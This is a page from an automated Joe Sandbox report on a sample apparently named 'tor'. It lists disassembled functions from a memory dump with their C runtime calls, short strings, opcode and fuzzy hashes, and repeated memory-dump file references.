Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$_strdupabortexitstrchrstrlenstrncmp
String ID:
API String ID: 1434647655-3916222277
Opcode ID: 041ee51aaa46688203e4b8ff49c53f7b574058a5399f224e2ddcd2dfd3284f22
Instruction ID: 3658af7a0d8d422205d562522dc63f4327d9942f5c2588c1d3b12f755efc31db
Opcode Fuzzy Hash: 041ee51aaa46688203e4b8ff49c53f7b574058a5399f224e2ddcd2dfd3284f22
Instruction Fuzzy Hash: 4E1195B4E1430A9FCB50EFA8C4596AEBBF5BF54205F408929D855AB340E7789901CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0157AD4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015822C4), ref: 0157ADDF

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015822C4), ref: 0157AD9D

Strings

y, xrefs: 0157AD8D

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: y
API String ID: 1190921433-4225443349
Opcode ID: 8e54441398434b03289f1f016fc30d6bc968ed79d66ad65e5c0d1529bb4d7e2b
Instruction ID: f578346046fc0dacbb1707e9d2bd33c33458b72bbadb93ae1c1b265d8323cdd0
Opcode Fuzzy Hash: 8e54441398434b03289f1f016fc30d6bc968ed79d66ad65e5c0d1529bb4d7e2b
Instruction Fuzzy Hash: BF1129B4A14206CFCBA0DF69D885A1ABBF0BB48328F40C459E848CB314E338E941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01483175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01483468), ref: 01483202

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01483468), ref: 014831CF

Strings

, xrefs: 014831BF

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID:
API String ID: 1190921433-3916222277
Opcode ID: cb4dddaab95a5dd7c2428c01a4e000444c92ec8c999c75bac14817590ede1b89
Instruction ID: 9db061cf9fafdaf4c05eba0a361cd1ece466fad0b63fece6628f913f27676873
Opcode Fuzzy Hash: cb4dddaab95a5dd7c2428c01a4e000444c92ec8c999c75bac14817590ede1b89
Instruction Fuzzy Hash: CC01C5B090420A9FCF40EFA8C84469EBBF0BF49204F40841AE894AB311E738D945CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0160CA03 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0160CA8A
__stack_chk_fail.LIBSSP-0 ref: 0160CA9B

Strings

P, xrefs: 0160CA6F

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failmemcpy
String ID: P
API String ID: 3869272345-3110715001
Opcode ID: 2f74600e6be91756e3f9881a32709454b9cb58462eb4e12ecfbca21c59ee0ea8
Instruction ID: 0c0beb52227b4ca8888ab9b212a709a9613eaec8bcdf388abf067b8571c169b5
Opcode Fuzzy Hash: 2f74600e6be91756e3f9881a32709454b9cb58462eb4e12ecfbca21c59ee0ea8
Instruction Fuzzy Hash: 4F114774A157199FCB50EF68C884B9EBBF5BF09310F4189A9D898D3340E734EA848F56

Uniqueness

Uniqueness Score: -1.00%

Function 0157ACC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,015708A9), ref: 0157AD43

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015708A9), ref: 0157AD19

Strings

s, xrefs: 0157AD09

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: s
API String ID: 1190921433-453955339
Opcode ID: 04efe8c1016bf7e759767bc477b5c8fdd6a24da95024155c67fcdf591e4e3dd3
Instruction ID: 136f94ff21a34c740508a2b98c651faab8b3100f63ee18b9a9672921771906b0
Opcode Fuzzy Hash: 04efe8c1016bf7e759767bc477b5c8fdd6a24da95024155c67fcdf591e4e3dd3
Instruction Fuzzy Hash: 2C01E8B0A093069FCB50EFA8C89566EBBF5BF58254F40881DE894DB300E778D545DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0141BC65 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0141BCDE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0148C1C4), ref: 0141BCB5

Strings

[scrubbed], xrefs: 0141BCC9

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: [scrubbed]
API String ID: 1190921433-1034322293
Opcode ID: f9c3f7e0276bcbad8c012d389f8a5974d4bda60c4bd4e1638bea605ba9f7bffd
Instruction ID: 6bd758ed8b88a2cbb1975641359c7b31395b20f94a36fa23db9c3939830f92c6
Opcode Fuzzy Hash: f9c3f7e0276bcbad8c012d389f8a5974d4bda60c4bd4e1638bea605ba9f7bffd
Instruction Fuzzy Hash: 04018170A04206DFCB10EF79C84426FBBF4FB40244F00882DD8808B315E674D5469F92

Uniqueness

Uniqueness Score: -1.00%

Function 0141BCE5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0141BD5F

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0141BD35

Strings

[scrubbed], xrefs: 0141BD4A

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: [scrubbed]
API String ID: 1190921433-1034322293
Opcode ID: 9033da0c91f67df07d96c0152d37c463a2e25c667731c2790529475511f547c0
Instruction ID: ac32b011674155d8abf7eb9aadddae86f63328447a76024194856b9defffb11c
Opcode Fuzzy Hash: 9033da0c91f67df07d96c0152d37c463a2e25c667731c2790529475511f547c0
Instruction Fuzzy Hash: B60131709042069FCB54FF69C84866EBBF5FB41244F80C869D9948B365D638D546CF93

Uniqueness

Uniqueness Score: -1.00%

Function 0160D8CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0160D942
__stack_chk_fail.LIBSSP-0 ref: 0160D953

Strings

P, xrefs: 0160D927

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failmemcpy
String ID: P
API String ID: 3869272345-3110715001
Opcode ID: bded98542ffd1e235bb9f6a7873616afface586ee9120ac5a8387a3405172a4f
Instruction ID: f3285bdf90cc15cbdb3010d407331946fa1d772d787913c818bb937ab1b20529
Opcode Fuzzy Hash: bded98542ffd1e235bb9f6a7873616afface586ee9120ac5a8387a3405172a4f
Instruction Fuzzy Hash: 3E018874A157199FCB50EF68C884B9EBBF5AF09310F4189AD9888D3340E734EA848F56

Uniqueness

Uniqueness Score: -1.00%

Function 015751C5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 01575236

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,01552A78), ref: 01575215

Strings

M, xrefs: 01575205

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: M
API String ID: 1190921433-3664761504
Opcode ID: 9cddfd1dcfb2b089ddc8a2b97f9e2076ff208af27236a1f734db506fe58b9900
Instruction ID: fae4ba6f0494407a3fb8bca0348339e1cfb3fa49a127c3e563fff76fa509142c
Opcode Fuzzy Hash: 9cddfd1dcfb2b089ddc8a2b97f9e2076ff208af27236a1f734db506fe58b9900
Instruction Fuzzy Hash: 26F049B4914206DFCB50FFB8C84966EBBF4BB14254F40882DE890DB200E638D545CF92

Uniqueness

Uniqueness Score: -1.00%

Function 01483968 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 014839DE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 014839B8

Strings

, xrefs: 014839C3

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID:
API String ID: 1190921433-3916222277
Opcode ID: 818322060f1ca903519a817e833f0ecae3b232a01308579d45fbdb314e73939c
Instruction ID: 0c796733639f97f2fbf9b97f09ce2bfada00833226226d8d4113b9f8e733f34b
Opcode Fuzzy Hash: 818322060f1ca903519a817e833f0ecae3b232a01308579d45fbdb314e73939c
Instruction Fuzzy Hash: 59F014B0904306ABDB40EFA9C84926FBBF9BF80208F40886994949B301D778D555DF92

Uniqueness

Uniqueness Score: -1.00%

Function 015222F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,013E058F), ref: 01522359

Part of subcall function 01589BC8: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0157B84F), ref: 01589C2E
Part of subcall function 01589BC8: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0157B84F), ref: 01589C70
Part of subcall function 01589BC8: memset.MSVCRT ref: 01589C9F
Part of subcall function 01589BC8: __stack_chk_fail.LIBSSP-0 ref: 01589CB2

free.MSVCRT ref: 0152233D

Strings

, xrefs: 01522317

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$freememset
String ID:
API String ID: 1890854950-3916222277
Opcode ID: 88d9e1fe5064087a98bcda0c5f6e01bea1bb255f5b8893d6ccd0d32d93fad30e
Instruction ID: 8c3148a1010b0152a5c29950379327d3967bb181c3804fada051751834cf422c
Opcode Fuzzy Hash: 88d9e1fe5064087a98bcda0c5f6e01bea1bb255f5b8893d6ccd0d32d93fad30e
Instruction Fuzzy Hash: 660179B5A0431ADFDB50EFA8C48466EBBF4BB19304F408859E854EB350D774E511CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01410884 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,014119CE), ref: 014108F0

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 014108DA

Strings

k, xrefs: 014108CA

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
